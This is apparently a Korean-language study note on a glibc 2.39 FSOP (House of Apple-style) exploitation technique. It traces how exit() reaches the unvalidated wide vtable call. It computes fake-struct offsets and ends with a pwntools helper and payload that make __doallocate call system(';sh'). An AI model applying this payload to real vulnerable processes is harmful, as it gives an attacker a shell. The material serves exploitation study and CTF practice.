glibc 2.39 기준
exitmain을 통한 returnabort_IO_cleanup위 루틴은 _IO_cleanup 함수를 호출한다.
예를 들어 /stdlib/exit.c 코드를 보면, 아래의 exit 함수는 __run_exit_handlers를 호출하게 되고,
void
exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true, true);
}
__run_exit_handlers에서는 _IO_cleanup 함수를 호출하게 된다.
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors)
{
/* First, call the TLS destructors. */
if (run_dtors)
call_function_static_weak (__call_tls_dtors);
__libc_lock_lock (__exit_funcs_lock);
...
...
if (run_list_atexit)
call_function_static_weak (_IO_cleanup);
_exit (status);
}
_IO_cleanup 함수는 /libio/genops.c에 정의되어 있고, 아래와 같이 _IO_flush_all() 함수를 호출한다.
참고로 이 함수는 GNU C Library (glibc) 내부에서 사용하는 함수로, 모든 열린 스트림(stream)에 대해 버퍼에 저장된 데이터를 플러시(flush) 하는 역할을 한다.
int
_IO_cleanup (void)
{
int result = _IO_flush_all ();
/* We currently don't have a reliable mechanism for making sure that
C++ static destructors are executed in the correct order.
So it is possible that other static destructors might want to
write to cout - and they're supposed to be able to do so.
The following will make the standard streambufs be unbuffered,
which forces any output from late destructors to be written out. */
_IO_unbuffer_all ();
return result;
}
_IO_flush_all_IO_flush_all 함수 또한 아래와 같이 /libio/genops.c에 정의되어 있고, 조건에 따라 _IO_OVERFLOW(fp, EOF)를 호출한다.
int
_IO_flush_all (void)
{
int result = 0;
FILE *fp;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
...
}
아래의 두 가지 조건이 ||로 연결되어 있고, _IO_OVERFLOW(fp, EOF)는 마지막에 &&로 연결되어 있기 때문에, 아래 2가지 조건 중 하나가 만족되면 _IO_OVERFLOW(fp, EOF)를 호출하게 된다.
fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
_IO_vtable_offset (fp) == 0 && fp->_mode > 0 &&
(fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
여기서 fp는 (FILE *) _IO_list_all으로, _IO_list_all은 원래 _IO_FILE_plus *로, stderr를 가지고 있다.
stderr의 _chain 필드에 stdout이 연결되어 있고 stdout의 _chain 필드에 stdin이 아래와 같이 연결되어 표준입출력을 연결하고 있다.


_IO_OVERFLOW_IO_OVERFLOW는 아래와 같이 /libio/libioP.h에 매크로로 정의되어 있다.
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
다시 돌아와서 우리는 _IO_OVERFLOW(_IO_list_all, EOF)를 호출하였기 때문에 JUMP1(__overflow, _IO_list_all, EOF)를 호출하게 된다.
JUMP1 매크로는 동일한 파일에 아래와 같이 정의되어 있다.
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
따라서 결국 아래 코드와 같다.
(_IO_JUMPS_FUNC(_IO_list_all)->__overflow) (_IO_list_all, EOF)
다시 동일 파일을 보면 _IO_JUMPS_FUNC 가 아래와 같이 매크로로 정의되어 있다.
#if _IO_JUMPS_OFFSET
# define _IO_JUMPS_FUNC(THIS) \
(IO_validate_vtable \
(*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \
+ (THIS)->_vtable_offset)))
위 코드는 IO_validate_vtable을 통해 vtable을 검증하며 _vtable_offset에 따라 함수를 호출하는데,
우리가 여기서 vtable을 _IO_wfile_jumps로 조작해주게 되면 _IO_wfile_overflow로 이동하게 된다.
vtable = libc_base + libc.symbols['_IO_wfile_jumps']
참고로 _IO_wfile_jumps는 struct _IO_jump_t 구조체로, /libio/vtables.c 파일에 아래와 같이 구조체 배열 멤버로 정의되어 있다.
[IO_WFILE_JUMPS] = {
JUMP_INIT_DUMMY,
JUMP_INIT (finish, _IO_new_file_finish),
JUMP_INIT (overflow, (_IO_overflow_t) _IO_wfile_overflow),
JUMP_INIT (underflow, (_IO_underflow_t) _IO_wfile_underflow),
JUMP_INIT (uflow, (_IO_underflow_t) _IO_wdefault_uflow),
JUMP_INIT (pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
JUMP_INIT (xsputn, _IO_wfile_xsputn),
JUMP_INIT (xsgetn, _IO_file_xsgetn),
JUMP_INIT (seekoff, _IO_wfile_seekoff),
JUMP_INIT (seekpos, _IO_default_seekpos),
JUMP_INIT (setbuf, _IO_new_file_setbuf),
JUMP_INIT (sync, (_IO_sync_t) _IO_wfile_sync),
JUMP_INIT (doallocate, _IO_wfile_doallocate),
JUMP_INIT (read, _IO_file_read),
JUMP_INIT (write, _IO_new_file_write),
JUMP_INIT (seek, _IO_file_seek),
JUMP_INIT (close, _IO_file_close),
JUMP_INIT (stat, _IO_file_stat),
JUMP_INIT (showmanyc, _IO_default_showmanyc),
JUMP_INIT (imbue, _IO_default_imbue)
},
_IO_wfile_overflow해당 함수는 /libio/wfileops.c 파일에 아래와 같이 정의되어 있고, Exploit을 위해 호호출 해야 할 함수는 _IO_wdoaloocbuf (f); 이다.
wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0
|| f->_wide_data->_IO_write_base == NULL)
{
/* Allocate a buffer if needed. */
if (f->_wide_data->_IO_write_base == 0)
{
_IO_wdoallocbuf (f);
...
_IO_wdoallcbuf (f);를 호출하기 위해서는 아래의 조건들을 만족해야 한다.
f->_flags & _IO_NO_WRITES == 0(f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_wide_data->_IO_write_base == NULLf->_wide_data->_IO_write_base == 0이를 위해서 f(_IO_list_all)의 _flags 필드는 0x808을 가지지 않으면 되고, 3번째 조건을 만족하면 된다.
_IO_wdoallocbuf해당 함수는 /libio/wgenops.c 파일에 존재하며, 우리가 Exploit을 위해 호출해야 할 함수는 _IO_WDOALLOCATE (fp)이다.
void
_IO_wdoallocbuf (FILE *fp)
{
if (fp->_wide_data->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
return;
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}
이를 위해 아래의 조건을 만족해야 한다.
fp->_wide_data->_IO_buf_base == 0fp->_flags & _IO_UNBUFFERED == 0_flags는 0x2를 가지지 않으면 된다.
해당 함수가 Exploit에 최종적으로 사용되는 이유는, 다른 vtable 함수와 달리 _IO_validate_vtable을 호출하지 않기 때문이다.
_IO_WDOALLOCATE 매크로 정의를 보면 아래와 같이 /libio/liboP.h에 존재한다.
#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)
여기서 WJUMP0을 따라가면 아래와 같은 흐름을 가진다.
#define WJUMP0(FUNC, THIS) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS)
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)
#define _IO_WIDE_JUMPS(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
위와 같이 마지막에 _IO_validate_vtavle이 호출되지 않아서 vtable의 값을 system으로 덮어쓸 수 있음을 알 수 있다.
예를 들어 JUMP0은 맨 위에서 봤듯이 아래와 같이 마지막에 _IO_validate_vtable을 호출하기 때문에 system으로 덮어쓸 수 없다.
# define _IO_JUMPS_FUNC(THIS) \
(IO_validate_vtable \
(*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \
+ (THIS)->_vtable_offset)))
Assuming that we overwrite the FILE->vtable from _IO_file_jumps to _IO_wfile_jumps. When the binary try to call
_IO_OVERFLOW (fp, EOF), the chain would be:
_IO_OVERFLOW (fp, EOF)
|_ JUMP1 (__overflow, fp, EOF)
|_ (_IO_JUMPS_FUNC(fp)->__overflow) (fp, EOF)
|_ ((IO_validate_vtable (_IO_JUMPS_FILE_plus (fp)))->__overflow) (fp, EOF) <- Because we overwrite it to point to _IO_wfile_jumps, it will call _IO_wfile_overflow instead of _IO_new_file_overflow. This is still valid because its location is still in the correct region
|_ _IO_wfile_overflow(fp, EOF)
|_ _IO_wdoallocbuf(fp)
|_ _IO_WDOALLOCATE(fp)
|_ WJUMP0 (__doallocate, fp)
|_ (_IO_WIDE_JUMPS_FUNC(fp)->__doallocate) (fp)
|_ (_IO_WIDE_JUMPS(fp)->__doallocate) (fp) <- No Validation #profit :D
결론적으로, 아래의 코드를 최종적으로 호출하게 되므로 FSOP로 system(;sh)을 호출하도록 조작할 수 있다.
((_IO_list_all->_wide_data->_wide_vtable)->__doallocate)(_IO_list_all)
따라서, system의 주소를 (_IO_list_all->_wide_data->_wide_vtable)->__doallocate에,
rdi에는 _IO_list_all이 들어가므로, _flags 필드에 ;sh이 들어가도록 설정해주면 된다.
_IO_FILE_complete여기서 _wide_data 필드는 아래와 같이 struct _IO_FILE이 아닌 /libio/bits/types/struct_FILE.h 파일의 struct _IO_FILE_complete에 존재한다.
struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
__off64_t _offset;
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
_IO_FILE이 아닌 _IO_FILE_complete에 존재하는 이유는, _IO_FILE은 과거 버전의 glibc에서 사용하던 레거시 구조체이다.
이를 유지하면서 파일 구조체에 확장성을 추가하기 위해 _IO_FILE_complete의 첫 번째 필드에 _IO_FILE을 유지하면서 바로 뒤에 필드들을 추가하여 구현하였다.
따라서, struct _IO_wide_data *_wide_data로 정의된 것을 확인할 수 있고, _IO_FILE_complete에서 offset은 0xa0임도 알 수 있다.
_IO_wide_data그리고 _wide_data의 타입인 struct _IO_wide_data *는 /libio/libio.h 파일에 아래와 같이 존재한다.
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};
여기서, _wide_vtable의 offset은 struct _IO_wide_data에서 0xe0에 위치한다.
계산해보면,
wchar_t * 11개 : 88 bytes
__mbstate_t 2개 : 16 bytes
_IO_codecvt : 112 bytes
wchar_t : 4 bytes + 4bytes(padding)
을 통해, 총 224 == 0xe0이 된다.
_IO_jump_t마지막으로 이제, _wide_vtable의 타입인 struct _IO_jump_t *는 아래와 같이/libio/libioP.h 파일에 존재하고,
__doallocate의 offset은 0x68인 것을 확인할 수 있다.
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};
그럼 이제, system의 주소를 (_IO_list_all->_wide_data->_wide_vtable)->__doallocate에 넣기 위해 fake struct의 offset을 전부 알 수 있다.
아래 offset은 각각의 구조체 내에서의 offset이다. 어쩌피 전부 offset으로 접근하기 때문에 fake chunk 내에서 해당 offset을 계속 참조하도록 조작해주면 될 것이다.
_wide_data : 0xa0
_wide_vtable : 0xe0
__doallocate : 0x68
위의 말을 다시 반복하면, 포인터 각각은 ->로 연결되어있는 포인터이기 때문에 fake struct의 주소를 계속 순회하면서 되돌아가는 느낌으로 생각하면 된다.
_IO_list_all의 _flags 필드에 ;sh 문자열 저장
0xa0 offset(_wide_data)에 &fake struct - 0x10를 저장
0xe0은 _IO_FILE_plus 구조체의 offset을 넘어서므로 _wide_vtable이 0xd0 필드에 위치하게 시키기 위해0xd0 offset(_unused2)에 &fake struct를 저장
_wide_vtable에 다시 _IO_list_all이 들어감0x68 offset(_chain)에 system 함수의 주소를 저장
__doallocate가 system 함수를 호출하도록이제 위에서 살펴본 offset에 더하여 호출 과정에서 만족시킬 조건을 추가하면 된다.
조건들은 아래와 같고, fp는 _IO_list_all라고 생각하자.
_IO_flush_allfp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base_IO_wfile_overflowf->_flags & _IO_NO_WRITES == 0
(f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_wide_data->_IO_write_base == NULL
f->_wide_data->_IO_write_base == 0
_IO_wdoallocbuffp->_wide_data->_IO_buf_base == 0
fp->_flags & _IO_UNBUFFERED == 0
정리하면 _flags는 0x80a를 가지지 않으면 되는데, \x01\x01\x01\x01;sh\x00으로 설정하면 만족한다. (;sh 앞에 \x00이 붙으면 문자열이 끊기므로 조심하자.)
_IO_write_ptr 필드를 1로 설정해주며 _IO_write_base는 0으로 설정해주면 된다.
_wide_data 필드의 _IO_write_base와 _IO_buf_base를 0으로 설정해주면 된다.
_wide_data의 위 두 필드는 FSOP struct를 조작할 때 따로 다른 값으로 세팅해주지 않아서 기본 0을 유지하므로 신경써주지 않아도 된다.
_lock_lock 필드에는 Write 권한이 존재하는 주소만 적어주면 된다. 대부분 Heap 주소에는 Write 권한이 존재하므로 적절한 heap 주소를 Exploit 과정에서 넣어주자.
def FSOP_struct(flags=0, _IO_read_ptr=0, _IO_read_end=0, _IO_read_base=0,
_IO_write_base=0, _IO_write_ptr=0, _IO_write_end=0, _IO_buf_base=0, _IO_buf_end=0,
_IO_save_base=0, _IO_backup_base=0, _IO_save_end=0, _markers=0, _chain=0, _fileno=0,
_flags2=0, _old_offset=0, _cur_column=0, _vtable_offset=0, _shortbuf=0, lock=0,
_offset=0, _codecvt=0, _wide_data=0, _freeres_list=0, _freeres_buf=0,
__pad5=0, _mode=0, _unused2=b"", vtable=0, more_append=b""):
FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end)
FSOP += p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end)
FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2)
FSOP += p64(_old_offset) + p16(_cur_column) + p8(_vtable_offset) + p8(_shortbuf) + p32(0x0)
FSOP += p64(lock) + p64(_offset) + p64(_codecvt) + p64(_wide_data) + p64(_freeres_list) + p64(_freeres_buf)
FSOP += p64(__pad5) + p32(_mode)
if _unused2 == b"":
FSOP += b"\x00"*0x14
else:
FSOP += _unused2[0x0:0x14].ljust(0x14, b"\x00")
FSOP += p64(vtable)
FSOP += more_append
return FSOP
...
fsop_ptr = heap_base + 0x6e0 # '_IO_FILE_plus * _IO_list_all'에 저장될 fsop_struct의 주소
fsop_struct = FSOP_struct(flags=u64(b"\x01\x01\x01\x01;sh\x00"),
lock=fsop_ptr + 0x1000 + 0x100,
_IO_write_ptr=0x1,
_wide_data=fsop_ptr - 0x10,
_mode=0,
_chain=libc_base + libc.symbols['system'],
_unused2=p32(0x0) + p64(0x0) + p64(fsop_ptr),
vtable=libc_base + libc.symbols['_IO_wfile_jumps']
)